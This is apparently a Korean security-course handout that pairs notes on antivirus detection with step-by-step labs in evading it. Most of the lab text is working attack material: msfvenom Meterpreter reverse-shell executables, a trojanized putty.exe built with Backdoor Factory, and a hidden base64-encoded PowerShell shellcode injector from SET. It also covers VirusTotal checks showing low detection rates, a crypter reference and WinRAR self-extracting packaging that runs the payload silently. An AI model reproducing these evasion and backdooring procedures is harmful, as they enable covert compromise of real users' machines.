행위 검사 : 실행 되는 프로그램 행위 검사

방화벽 : 외부 접속 시도 검사


■ 백신 프로그램의 한계

알려진 악성코드 위주로 진단 : 샘플이 확보 되어야 진단 가능

신종 악성코드 제한적 진단/예방 : 제한적 신종 진단

공격자도 테스트 가능 : 공격자가 절대적으로 유리

오진 우려 : 진단율과 오진율, 성능의 저울질










!!!! 백신 프로그램의 진단 방법을 알고 있다면 우회할 수 있다. !!!!



■ 백신 프로그램의 진단 방법


(1) 백신 진단법


기본진단법

String

Wildcards

Hash(CRC)


확장진단법

포괄진단(Generic Detection) - 모양이 조금씩 달라도 모두 같은것이다.

경험적진단(Heuristic Detection)

파일 외형(Icon, Version, 인증서 등)


추가진단법

Cloud 기반 진단

행위 기반 진단

평판 기반 진단



(2) 발전하는 백신 프로그램

시그니처 진단
- 문자열
- Wildcard
- CRC
- 특성화 등

Generic/Heuristic 진단
- 유사 변형 진단
- 완전히 새로운 형태 진단 제한적
- 진단율 높을 수록 오진 가능성 상승

행위 기반 진단
- 완전한 새로운 형태 진단 못함
- 유사 정상 프로그램과 구분 어려움
- 비교적 높은 오진 가능성

Cloud/평판 진단
- 개발자 PC에는 적합하지 않음
- 정상 프로그램 내에 포함 한다면?
- 사용자가 적다고 악성은 아님



(3) 모두가 함께 해야 하는 보안

개인
- 보안 관심 및 습관
- 신고

기업/기관
- 보안 체계
- 보안 투자
- 정보 공유

보안 업체
- 대응
- 기술 개발
- 정보 공유

정부
- 인력 양성
- 법 집행
- 외국과 협력
- 정보 공유



[참고 URL] 백신 프로그램의 원리와 동작(차민석) - 2015_1117

http://www.slideshare.net/JackyMinseokCha/20151117security-plus






실무 악성 코드 분석 과정


        동적 분석 ----> 정적 분석


외형 분석
- 파일 유형 판단
- 문자열 추출 및 분석
- 파일 등록 정보 활용
- 샘플 접수 정보 활용

증상 분석
- 전 이미지 정보 수집(Before)
- 샘플 실행
- 후 이미지 정보 수집(After)
- 증상 정보 분석

자료 분석
- 증상 정보 추가 분석
- 각종 정보 수집
- 로그 정보 수집/분석

상세 분석
- 디스어셈블 분석
- 상세 디버깅

엔진 반영
- 엔진 반영 여부 결정
- 진단 시그니쳐 및 함수 작성
- 분석 정보 작성



악성 코드 분석 도구

분석 도구 이름

분석 도구 종류

분석도구 다운로드 사이트

Frhed HexaEditor

Hexa Editor

www.klbrla.de

UltraEdit

Hexa Editor

www.ultraedit.com

Process Explorer

프로세스, thread, DLL  실행 정보

www.sysinternals.com

Dependency Walker

DLL, Export 함수 정보

www.microsoft.com

FileMon

파일시스템 변경 모니터링

www.sysinternals.com

RegMon

레지스트리 변경 모니터링

www.sysinternals.com

TCPView

통신 포트 모니터링

www.sysinternals.com

Active Ports

통신 포트 모니터링

www.proctect-me.com

Analyzer

네트워크 패킷 캡쳐

www.analyzer.pollto.it

Ethereal

네트워크 패킷 캡쳐

www.ethereal.com

LoadPE

실행 프로세스 Dump 및 PE Rebuild

y0da.cjb.net

PEID

PE 정보 획득

peld.has.it

OllyDbg

범용디버거

www.ollydbg.de

IDA

디스어셈블러

www.datarescue.com

WinDbg

User/Kernel mode 디버거

www.microsoft.com

SoftICE

User/Kernel mode 디버거

www.compuware.com






3. 동적 분석


증상 분석

























































■ 악성 코드의 진단 회피 기술

Encryption

Stealth Rootkit

Polymorphic/Metamorphic

Anti-AntiVirus















[실습1] 윈도우 시스템에 Anti-Virus/Anti-Malware software을 설치하고 업데이트 한다.


사용 시스템: Windows 7

Anti-Virus Software 프로그램 : V3 Lite

V3 Lite 다운로드 : http://www.ahnlab.com/kr/site/product/productView.do?prodSeq=8




(Windows 7)


V3 Lite를 http://www.ahnlab.com/kr/site/product/productView.do?prodSeq=8 사이트에서 다운로드 및 설치 작업을 진행한다.


설치가 되고 나면 반드시 업데이트 작업을 진행한다.


snapshot 실행한다.(snapshot 이름 지정)


AntiVirus Software 실행한다.(EX: V3Lite 프로그램)


AntiVirus Software 업데이트 한다.


"빠른 검사" 실행한다.


여러개의 악성코드가 존재한다고 표시될것이다. 그럼 <검사 예외 추가> 추가한다.








[실습2] 칼리리눅스내에서 기본적인 실습을 통해 reverse_tcp를 생성한다.


사용시스템 :

- KaliLinux

- Windows 7





(KaliLinux)

① 서버에서 실행할 resource 파일 생성


        (알림) 이 작업은 이전에 실습에서 사용한 파일을 그대로 사용한다.


# cd /root/bin

# vi reverse_resource.rc

use exploit/multi/handler

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.20.50

set ExitSession false

exploit -j -z



② 윈도우 클라이언트에서 실행할 reverse_test.exe 파일 생성

# cd /root/bin

# msfvenom -p windows/x64/meterpreter/reverse_tcp \

LHOST=192.168.20.50 LPORT=4444 \

-f exe \

-o reverse_test.exe

No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No Arch selected, selecting Arch: x86_64 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 510 bytes

Saved as: reverse_test.exe

-> LHOST에는 192.168.10.50 공격자의 IP 입력한다.

-> 생성된 reverse_test.ex 파일이 대상 시스템에서 실행하면 공격 시스템은 대상 시스템에 침투한

   것과 동일한 환경이 된다.


# ls reverse_*

reverse_resource2.rc  reverse_resource.rc  reverse_test.exe



③ 공유 디렉토리에 전송할 파일 준비

# cp reverse_test.exe /share

# service smbd restart

# smbclient -L localhost -N

Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.8-Debian]

 

        Sharename       Type      Comment

        ---------       ----      -------

        print$          Disk      Printer Drivers

        share           Disk      Kali Linux Shared Directory

        IPC$            IPC       IPC Service (Samba 4.3.8-Debian)

Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.8-Debian]

 

        Server               Comment

        ---------            -------

 

        Workgroup            Master

        ---------            -------





④ 윈도우 7으로 파일 전송

 

(windows7)

공유 디렉토리에 접속하여 파일을 로컬로 복사한다.

\\192.168.20.50\share\resource_test.exe ---> 바탕화면으로 복사


⑤ 칼리리눅스에서 reverse_resource.rc 파일을 이용하여 listen 상태로 실행

(KaliLinux)

# cd /root/bin

# msfconsole -r reverse_resource.rc

..... (중략) .....

Love leveraging credentials? Check out bruteforcing

in Metasploit Pro -- learn more on http://rapid7.com/metasploit

 

       =[ metasploit v4.11.5-2016010401                   ]

+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]

+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

 

[*] Processing reverse_resource.rc for ERB directives.

resource (reverse_resource.rc)> use exploit/multi/handler

resource (reverse_resource.rc)> set PAYLOAD windows/x64/meterpreter/reverse_tcp

PAYLOAD => windows/x64/meterpreter/reverse_tcp

resource (reverse_resource.rc)> set LHOST 192.168.20.50

LHOST => 192.168.20.50

resource (reverse_resource.rc)> set ExitSession false

ExitSession => false

resource (reverse_resource.rc)> exploit -j -z

[*] Exploit running as background job.

 

[*] Started reverse TCP handler on 192.168.20.50:4444

msf exploit(handler) > [*] Starting the payload handler...

 


⑥ 윈도우 7 시스템에서 reverse_test.exe 파일 실행


(windows7)

바탕화면에 놓은 reverse_test.exe 프로그램을 실행한다.


        (질문) reverse_test.exe 파일이 실행될때 V3 Lite 탐지 되었는가?


⑦ 칼리리눅스에서 연결된 세션을 확인한다.


(KaliLinux)

[*] Exploit running as background job.

 

[*] Started reverse TCP handler on 192.168.20.50:4444

msf exploit(handler) > [*] Starting the payload handler...

[*] Sending stage (1188911 bytes) to 192.168.20.202

[*] Meterpreter session 1 opened (192.168.20.50:4444 -> 192.168.20.202:53197) at 2016-07-06 13:33:21 +0900

<ENTER>

msf exploit(handler) > sessions -i

 

Active sessions

===============

 

  Id  Type                   Information                      Connection

  --  ----                   -----------                      ----------

  1   meterpreter x64/win64  soldesk-PC\soldesk @ SOLDESK-PC  192.168.20.50:4444 -> 192.168.20.202:53197 (192.168.20.202)

 

msf exploit(handler) >




⑧ 악성 코드 탐지에 대한 테스트


V3 Lite 프로그램에서 <빠른검사>를 진행한다.

-> 발견된 악성코드가 없다.


        (질문) V3 Lite 프로그램이 공유디렉토리에서 받은 reverse_test.exe 파일을 악성코드로

                인식했는가?


⑨ Virustotal 사이트에서 확인해 보자.



총 53개 중 12개의 AV 제품만이 악성코드로 인식하였다.

안타깝게도 V3와 알약은 악성코드로 인식하지 못했다.






[실습3] Backdoor Factory 사용한 악성 코드 제작


사용시스템

- KaliLinux

- Windows 7


최신 버전의 Backdoor Factory 받는다.


git 사이트에서 최신본의 프로그램을 선택한다.

- https://github.com



① 악성코드 만들기 위해 정상 프로그램을 다운로드

 

정상 프로그램 : putty.exe


웹브라우저를 실행하여

http://www.google.com 사이트에 접속하여

"putty download windows 7 64bit" 검색어로 하여 검색한다.


② 다운로드 받은 파일을 적당한 위치로 이동한다.

# cd

# ls

문서/    다운로드/     expect.log  keys.txt            scan1.xml  shellexe2*   test*

음악/    바탕화면/     expect.sh*  myshellcode.c       scan2.xml  shellexe2.c  test.dtd

공개/    backdoor.php  fimap.log   mysql_HKD.pl*       scan.txt   shellexe.c   workspace/

서식/    bin/          ftp.log     mysql_HKD.pl.TXT    shell/     sshkeys.txt

사진/    cmd.sh*       ftp.sh*     paros/              shell.c    telnet.log

비디오/  core          icmp.cap    pentbox-1.8.tar.gz  shellexe*  telnet.sh*


# cd "다운로드"

# ls

putty.exe


# cp putty.exe /test





③ backdoor factory 명령어를 사용하여 putty.exe 파일과 악성코드를 합치기

# cd /test

# ls

putty.exe


# backdoor-factory

    ____  ____  ______           __     

   / __ )/ __ \/ ____/___ ______/ /_____  _______  __

  / __  / / / / /_  / __ `/ ___/ __/ __ \/ ___/ / / /

 / /_/ / /_/ / __/ / /_/ / /__/ /_/ /_/ / /  / /_/ /

/_____/_____/_/    \__,_/\___/\__/\____/_/   \__, /

                                            /____/

 

         Author:    Joshua Pitts

         Email:     the.midnite.runr[-at ]gmail<d o-t>com

         Twitter:   @midnite_runr

         IRC:       freenode.net #BDFactory

        

         Version:   3.3.1

        

Usage: backdoor.py [options]

 

Options:

  -h, --help            show this help message and exit

  -f FILE, --file=FILE  File to backdoor

  -s SHELL, --shell=SHELL

                        Payloads that are available for use. Use 'show' to see

                        payloads.

  -H HOST, --hostip=HOST

                        IP of the C2 for reverse connections.

  -P PORT, --port=PORT  The port to either connect back to for reverse shells

                        or to listen on for bind shells

  -J, --cave_jumping    Select this options if you want to use code cave

                        jumping to further hide your shellcode in the binary.

  -a, --add_new_section

                        Mandating that a new section be added to the exe

                        (better success) but less av avoidance

  -U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE

                        User supplied shellcode, make sure that it matches the

                        architecture that you are targeting.

  -c, --cave            The cave flag will find code caves that can be used

                        for stashing shellcode. This will print to all the

                        code caves of a specific size.The -l flag can be use

                        with this setting.

  -l SHELL_LEN, --shell_length=SHELL_LEN

                        For use with -c to help find code caves of different

                        sizes

  -o OUTPUT, --output-file=OUTPUT

                        The backdoor output file

  -n NSECTION, --section=NSECTION

                        New section name must be less than seven characters

  -d DIR, --directory=DIR

                        This is the location of the files that you want to

                        backdoor. You can make a directory of file backdooring

                        faster by forcing the attaching of a codecave to the

                        exe by using the -a setting.

  -w, --change_access   This flag changes the section that houses the codecave

                        to RWE. Sometimes this is necessary. Enabled by

                        default. If disabled, the backdoor may fail.

  -i, --injector        This command turns the backdoor factory in a hunt and

                        shellcode inject type of mechanism. Edit the target

                        settings in the injector module.

  -u SUFFIX, --suffix=SUFFIX

                        For use with injector, places a suffix on the original

                        file for easy recovery

  -D, --delete_original

                        For use with injector module.  This command deletes

                        the original file.  Not for use in production systems.

                        *Author not responsible for stupid uses.*

  -O DISK_OFFSET, --disk_offset=DISK_OFFSET

                        Starting point on disk offset, in bytes. Some authors

                        want to obfuscate their on disk offset to avoid

                        reverse engineering, if you find one of those files

                        use this flag, after you find the offset.

  -S, --support_check   To determine if the file is supported by BDF prior to

                        backdooring the file. For use by itself or with

                        verbose. This check happens automatically if the

                        backdooring is attempted.

  -M, --cave-miner      Future use, to help determine smallest shellcode

                        possible in a PE file

  -q, --no_banner       Kills the banner.

  -v, --verbose         For debug information output.

  -T IMAGE_TYPE, --image-type=IMAGE_TYPE

                        ALL, x86, or x64 type binaries only. Default=ALL

  -Z, --zero_cert       Allows for the overwriting of the pointer to the PE

                        certificate table effectively removing the certificate

                        from the binary for all intents and purposes.

  -R, --runas_admin     EXPERIMENTAL Checks the PE binaries for

                        'requestedExecutionLevel level="highestAvailable"'. If

                        this string is included in the binary, it must run as

                        system/admin. If not in Support Check mode it will

                        attmept to patch highestAvailable into the manifest if

                        requestedExecutionLevel entry exists.

  -L, --patch_dll       Use this setting if you DON'T want to patch DLLs.

                        Patches by default.

  -F FAT_PRIORITY, --fat_priority=FAT_PRIORITY

                        For MACH-O format. If fat file, focus on which arch to

                        patch. Default is x64. To force x86 use -F x86, to

                        force both archs use -F ALL.

  -B BEACON, --beacon=BEACON

                        For payloads that have the ability to beacon out, set

                        the time in secs

  -m PATCH_METHOD, --patch-method=PATCH_METHOD

                        Patching methods for PE files, 'manual','automatic',

                        and onionduke

  -b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY

                        For onionduke. Provide your desired binary.

  -X, --xp_mode         Default: DO NOT support for XP legacy machines, use -X

                        to support XP. By default the binary will crash on XP

                        machines (e.g. sandboxes)

  -A, --idt_in_cave     EXPERIMENTAL By default a new Import Directory Table

                        is created in a new section, by calling this flag it

                        will be put in a code cave.  This can cause bianry

                        failure is some cases. Test on target binaries first.

  -C, --code_sign       For those with codesigning certs wishing to sign PE

                        binaries only. Name your signing key and private key

                        signingcert.cer and signingPrivateKey.pem repectively

                        in the certs directory it's up to you to obtain

                        signing certs.


# backdoor-factory -f /test/putty.exe -s show

..... (중략) .....

         Author:    Joshua Pitts

         Email:     the.midnite.runr[-at ]gmail<d o-t>com

         Twitter:   @midnite_runr

         IRC:       freenode.net #BDFactory

        

         Version:   3.3.1

        

[*] In the backdoor module

[*] Checking if binary is supported

[*] Gathering file info

[*] Reading win32 entry instructions

The following WinIntelPE32s are available: (use -s)

   cave_miner_inline

   iat_reverse_tcp_inline

   iat_reverse_tcp_inline_threaded

   iat_reverse_tcp_stager_threaded

   iat_user_supplied_shellcode_threaded

   meterpreter_reverse_https_threaded

   reverse_shell_tcp_inline

   reverse_tcp_stager_threaded

   user_supplied_shellcode_threaded


# backdoor-factory \

-f /test/putty.exe \

-s iat_reverse_tcp_stager_threaded \

-H 192.168.20.50 -P 8080

    ____  ____  ______           __     

   / __ )/ __ \/ ____/___ ______/ /_____  _______  __

  / __  / / / / /_  / __ `/ ___/ __/ __ \/ ___/ / / /

 / /_/ / /_/ / __/ / /_/ / /__/ /_/ /_/ / /  / /_/ /

/_____/_____/_/    \__,_/\___/\__/\____/_/   \__, /

                                            /____/

 

         Author:    Joshua Pitts

         Email:     the.midnite.runr[-at ]gmail<d o-t>com

         Twitter:   @midnite_runr

         IRC:       freenode.net #BDFactory

        

         Version:   3.3.1

        

[*] In the backdoor module

[*] Checking if binary is supported

[*] Gathering file info

[*] Reading win32 entry instructions

[*] Gathering file info

[*] Overwriting certificate table pointer

[*] Loading PE in pefile

[*] Parsing data directories

[*] Looking for and setting selected shellcode

[*] Creating win32 resume execution stub

[*] Looking for caves that will fit the minimum shellcode length of 409

[*] All caves lengths:  409

############################################################

The following caves can be used to inject code and possibly

continue execution.

**Don't like what you see? Use jump, single, append, or ignore.**

############################################################

[*] Cave 1 length as int: 409

[*] Available caves:

1. Section Name: None; Section Begin: None End: None; Cave begin: 0x29c End: 0xffc; Cave Size: 3424

2. Section Name: .rdata; Section Begin: 0x5d000 End: 0x7b000; Cave begin: 0x7a47c End: 0x7b000; Cave Size: 2948

3. Section Name: .data; Section Begin: 0x7b000 End: 0x7d000; Cave begin: 0x7b9e5 End: 0x7bc0c; Cave Size: 551

4. Section Name: None; Section Begin: None End: None; Cave begin: 0x7c400 End: 0x7d00a; Cave Size: 3082

**************************************************

[!] Enter your selection: 3

[!] Using selection: 3

[*] Changing flags for section: .data

[*] Patching initial entry instructions

[*] Creating win32 resume execution stub

[*] Looking for and setting selected shellcode

File putty.exe is in the 'backdoored' directory


# ls

backdoored/  putty.exe


# cd backdoored

# cp putty.exe /var/www/html

# msfconsole

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

 

     Trace program: running

 

           wake up, Neo...

        the matrix has you

      follow the white rabbit.

 

          knock, knock, Neo.

 

                        (`.         ,-,

                        ` `.    ,;' /

                         `.  ,'/ .'

                          `. X /.'

                .-;--''--.._` ` (

              .'            /   `

             ,           ` '   Q '

             ,         ,   `._    \

          ,.|         '     `-.;_'

          :  . `  ;    `  ` --,.._;

           ' `    ,   )   .'

              `._ ,  '   /_

                 ; ,''-,;' ``-

                  ``-..__``--`

 

                             http://metasploit.pro

 

 

Taking notes in notepad? Have Metasploit Pro track & report

your progress and findings -- learn more on http://rapid7.com/metasploit

 

       =[ metasploit v4.11.5-2016010401                   ]

+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]

+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

 

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.20.50

LHOST => 192.168.20.50

msf exploit(handler) > set LPORT 8080

LPORT => 8080

msf exploit(handler) > exploit

 

[*] Started reverse TCP handler on 192.168.20.50:8080

[*] Starting the payload handler...

 


(windows 7)


웹브라우저를 실행한다.

http://192.168.20.50/putty.exe


그럼 putty.exe 파일이 다운로드된다.


다운로드된 putty.exe 파일을 바탕화면으로 옮기고 실행한다.


(KaliLinux)


..... (중략) .....

[*] Started reverse TCP handler on 192.168.20.50:8080

[*] Starting the payload handler...

[*] Sending stage (957487 bytes) to 192.168.20.202

[*] Meterpreter session 1 opened (192.168.20.50:8080 -> 192.168.20.202:53273) at 2016-07-06 15:03:09 +0900

 

meterpreter >

 

-> 자동으로 세션이 연결된것을 확인할 수 있다.



(windows 7)


        (질문) V3 Lite가 웹으로 다운로드 받은 악성코드를 탐지 하였는가?






바이러스 탐지 툴을 실행한다. <빠른 검사>를 실행한다.

-> 악성코드는 실행되어져 있는 상태이지만 V3 Lite는 탐지 하지 못했다.


        (질문) putty.exe 프로그램이 실행이 될때 악성코드가 탐지 되었는가?


virustotal 사이트에서 점검해 보자.


-> 총 53개 중 19개 정도가 탐지 되었다.

-> 다행히 알약에서는 탐지가 되었고, V3에서는 감지가 되지 않았다.











[실습4] setoolkit + MSF 사용한 악성 코드 제작


Kali Linux (Metasploit) - Creating a Backdoor Undetectable by Antivirus + Keylogger

https://www.youtube.com/watch?v=5p6IJRuxSvc


유튜브 검색 단어

Undetectable by Antivirus

-> 아래 목록이 나온다.

https://www.youtube.com/results?search_query=Undetectable+by+Antivirus


사용시스템

- KaliLinux

- Windows 7



(KaliLinux)


[TERM1] 첫번째 터미널

# cd /root/bin

# setoolkit

Last login: Tue Jun 28 17:53:30 2016 from 192.168.10.1

 

                 .--.  .--. .-----.

                : .--': .--'`-. .-'

                `. `. : `;    : :

                 _`, :: :__   : :

                `.__.'`.__.'  :_;

 

[---]        The Social-Engineer Toolkit (SET)         [---]

[---]        Created by: David Kennedy (ReL1K)         [---]

[---]                Version: 7.1.1                    [---]

[---]             Codename: 'Blue Steel'               [---]

[---]        Follow us on Twitter: @TrustedSec         [---]

[---]        Follow me on Twitter: @HackingDave        [---]

[---]       Homepage: https://www.trustedsec.com       [---]

 

        Welcome to the Social-Engineer Toolkit (SET).

         The one stop shop for all of your SE needs.

 

     Join us on irc.freenode.net in channel #setoolkit

 

   The Social-Engineer Toolkit is a product of TrustedSec.

 

             Visit: https://www.trustedsec.com

 

 Select from the menu:

 

   1) Social-Engineering Attacks

   2) Fast-Track Penetration Testing

   3) Third Party Modules

   4) Update the Social-Engineer Toolkit

   5) Update SET configuration

   6) Help, Credits, and About

 

  99) Exit the Social-Engineer Toolkit

 

set> 1

 

 Select from the menu:

 

   1) Spear-Phishing Attack Vectors

   2) Website Attack Vectors

   3) Infectious Media Generator

   4) Create a Payload and Listener

   5) Mass Mailer Attack

   6) Arduino-Based Attack Vector

   7) Wireless Access Point Attack Vector

   8) QRCode Generator Attack Vector

   9) Powershell Attack Vectors

  10) Third Party Modules

 

  99) Return back to the main menu.

 

set> 9

 

The Powershell Attack Vector module allows you to create PowerShell specific attacks. These attacks will allow you to use PowerShell which is available by default in all operating systems Windows Vista and above. PowerShell provides a fruitful  landscape for deploying payloads and performing functions that  do not get triggered by preventative technologies.

 

   1) Powershell Alphanumeric Shellcode Injector

   2) Powershell Reverse Shell

   3) Powershell Bind Shell

   4) Powershell Dump SAM Database

 

  99) Return to Main Menu

 

set:powershell>1

set> IP address for the payload listener (LHOST): 192.168.20.50

set:powershell> Enter the port for the reverse [443]:443

[*] Prepping the payload for delivery and injecting alphanumeric shellcode...

[*] Generating x86-based powershell injection code...

[*] Finished generating powershell injection bypass.

[*] Encoded to bypass execution restriction policy...

[*] If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell/

set> Do you want to start the listener now [yes/no]: : yes

 

# cowsay++

 ____________

< metasploit >

 ------------

       \   ,__,

        \  (oo)____

           (__)    )\

              ||--|| *

 

 

Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro

Learn more on http://rapid7.com/metasploit

 

       =[ metasploit v4.11.5-2016010401                   ]

+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]

+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

 

[*] Processing /root/.set/reports/powershell/powershell.rc for ERB directives.

resource (/root/.set/reports/powershell/powershell.rc)> use multi/handler

resource (/root/.set/reports/powershell/powershell.rc)> set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

resource (/root/.set/reports/powershell/powershell.rc)> set LPORT 443

LPORT => 443

resource (/root/.set/reports/powershell/powershell.rc)> set LHOST 0.0.0.0

LHOST => 0.0.0.0

resource (/root/.set/reports/powershell/powershell.rc)> set ExitOnSession false

ExitOnSession => false

resource (/root/.set/reports/powershell/powershell.rc)> exploit -j

[*] Exploit running as background job.

 

[*] Started reverse TCP handler on 0.0.0.0:443

msf exploit(handler) > [*] Starting the payload handler...

<ENTER>

msf exploit(handler) > jobs

 

Jobs

====

 

  Id  Name                    Payload                          LPORT

  --  ----                    -------                          -----

  0   Exploit: multi/handler  windows/meterpreter/reverse_tcp  443

 

msf exploit(handler) >

-> listen 상태로 대기한다.


[TERM2] 두번째 터미널

# cd /root/.set/reports/powershell

# ls

powershell.rc  x86_powershell_injection.txt


# file *

powershell.rc:                ASCII text

x86_powershell_injection.txt: ASCII text, with very long lines, with no line terminators


# cat powershell.rc

use multi/handler

set payload windows/meterpreter/reverse_tcp

set LPORT 443

set LHOST 0.0.0.0

set ExitOnSession false


# cat x86_powershell_injection.txt

powershell -nop -win hidden -noni -enc JABVAHAATgAgAD0AIAAnACQAbQBuAEQAQQAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQA

..... (중략) .....

BlAHQAQgB5AHQAZQBzACgAJABVAHAATgApACkAOwAkAHAAaABDACAAPQAgACIALQBlAG4AYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAdgBpADMAYgAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJAB2AGkAMwBiACAAJABwAGgAQwAgACQAZQAiAH0AZQBsAHMAZQB7ADsAaQBlAHgAIAAiACYAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAJABwAGgAQwAgACQAZQAiADsAfQA=

-> 한줄짜리 파일이라는 것을 알수 있다.


# mv x86_powershell_injection.txt x86_powershell_injection.bat

# cp x86_powershell_injection.bat /share

# service smbd restart



(Windows 7)

바탕화면에 Malware 디렉토리를 생성하고


\\192.168.20.50\share 디렉토리에 안에 있는 파일을 바탕화면에 Malware 디렉토리에 복사한다.


        (질문) 파일이 복사 되었을때 Anti-Virus 프로그램이 탐지 하였는가?


Malware 디렉토리안에 x86_powershell_injection.bat 파일을 실행한다.


        (질문)  악성코드가 실행될때 Anti-Virus 프로그램이 탐지 하였는가?


(KaliLinux)

[TERM1] 첫번째 윈도우

msf exploit(handler) >

[*] Sending stage (957487 bytes) to 192.168.20.202

[*] Meterpreter session 1 opened (192.168.20.50:443 -> 192.168.20.202:49182) at 2016-06-30 11:27:29 +0900

<ENTER>

msf exploit(handler) > sessions -l

 

Active sessions

===============

 

  Id  Type                   Information                      Connection

  --  ----                   -----------                      ----------

  1   meterpreter x86/win32  soldesk-PC\soldesk @ SOLDESK-PC  192.168.20.50:443 -> 192.168.20.202:49182 (192.168.20.202)

 

msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

 

meterpreter > sysinfo

Computer        : SOLDESK-PC

OS              : Windows 7 (Build 7601, Service Pack 1).

Architecture    : x64 (Current Process is WOW64)

System Language : ko_KR

Domain          : WORKGROUP

Logged On Users : 2

Meterpreter     : x86/win32

meterpreter >

 

 

 

 



(Windows 7)


AntiVirus Software 실행한다.(EX: V3Lite 프로그램)


AntiVirus Software 업데이트 한다.


"빠른 검사" 실행한다.

-> 우리가 집어 넣은 파일은 검색되지 않는다.


Malware 디렉토리를 선택하고 오른쪽 마우스를 선택하면 "V3  탐색기 검사" 부분을 선택한다.

하지만 악성코드가 탐지 되지 않는다.







http://www.virustotal.com

실행전

실행후

-> 맥아피(McAfee), McAfee-GW-Edition, 어베스트(Avast) 외에 다른 Anti-Virus 제품은 인식하지 못

   했다.

-> 54개의 바이러스 검색 엔진 중 3개 정도만 detect가 되었다.









■ 결과 분석1(2016년 07월06일 현재)

파일이름

만든방법

V3 Lite

탐지유무

VirusTotal 결과

reverse_test.exe

msfvenom CMD

파일 전송시

X

53개중 12개 AV가 탐지

파일 실행시

X

디렉토리 검사시

X

putty.exe

backdoor-factory CMD

파일 전송시

X

53개중 19개 AV가 탐지

파일 실행시

X

디렉토리 검사시

X

x86_powershell_injection.bat

setookit CMD

파일 전송시

X

53개중 3개 AV가 탐지

파일 실행시

X

디렉토리 검사시

X


■ 결과 분석2(2016년 07월06일 현재)

파일이름

만든방법

VirusTotal 사이트에서 탐지한 AV 종류

reverse_test.exe

msfvenom CMD

AVG

AVware

Antiy-AVL

Avast

ESET-NOD32

Fortinet

GData

lkarus

Jiangmin

Malwarebytes

TrendMicro-HouseCall

putty.exe

backdoor-factory CMD

ALYac

AVG

AVware

Arcabit

Avast

BitDefender

Cyren

ESET-NOD32

Emsisoft

F-Port

F-Secure

GData

lkarus

K7AntiVirus

K7GW

eScan

Qihoo-360

TrendMicro-HouseCall

Zillya

x86_powershell_injection.bat

setookit CMD

Avast

lkarus

McAfee



결론

현재 테스트의 결과로만 보았을때
-> 결론적으로 Avast 제품이 탐지 확율이 높은것으로 판단이 된다.

그리고 powershell injection 명령어 형식이 탐지 확율이 떨어진다는것을 확인할 수 있다.




[실습5] 상용 툴을 통한 안티바이러스 감지 우회 방법(암호화 방식을 사용하는 경우)


Tool: CypherX FUD Crypter

HomePage : www.CypherX.org



동영상으로 확인

http://cypherx.org/fud-crypter-tour

상용 툴이라서 반드시 구매를 해야지만 툴 사용이 가능하다.


Open Source 암호화 프로그램을 찾아 보기 바란다.




[실습6] WinRAR를 사용하여 암호화하기


사용 툴

- winrar


winrar 다운로드 사이트

http://blog.daum.net/_blog/BlogTypeView.do?blogid=07xqn&articleno=15928851&categoryId=696448&regdt=20140917002243


파일 이름: winrar-x64-511kr.exe




winrar 설치한다.


바탕화면에 Malware 디렉토리안에 파일이 3개 존재한다.





Malware 디렉토리안의 파일들 중 reverse_test.exe 파일을 선택하고 오른쪽 마우스를 선택한 이후에 파일압축에 추가하기 선택 한다.


압축 옵션 부분 중 다음과 같은 부분을 선택한다.

[ V ] 자동풀림(SFX) 압축파일 생성

[ V ] 솔리드 압축파일 생성

[ V ] 압축파일 잠금


그리고 패스워드 설정 선택하고 암호를 입력하고 확인을 선택한다. (암호: soldesk1.)


다음으로 상단의 고급 탭을 선택하고 오른쪽 하단의 SFX 옵션을 선택한다.

그리고 압축 풀 경로 내용으로 "%appdata%" 입력한다.

그리고 하단의 [ V ] 절대 경로에 생성 부분을 체크 한다. 아직 확인을 선택하지는 않는다.


상단의 업데이트 탭을 선택하고

덮어쓰기 모드 부분에서 [ V ] 모든 파일 덮어쓰기 선택한다. 아직 확인을 선택하지는 않는다.


그리고 설치 탭을 선택하고 압축 푼 후 실행 부분에 reverse_test.exe 라고 입력한다.


상단의 모드 탭을 선택하고 [ V ] 임시폴더에 풀기를 체크한다.

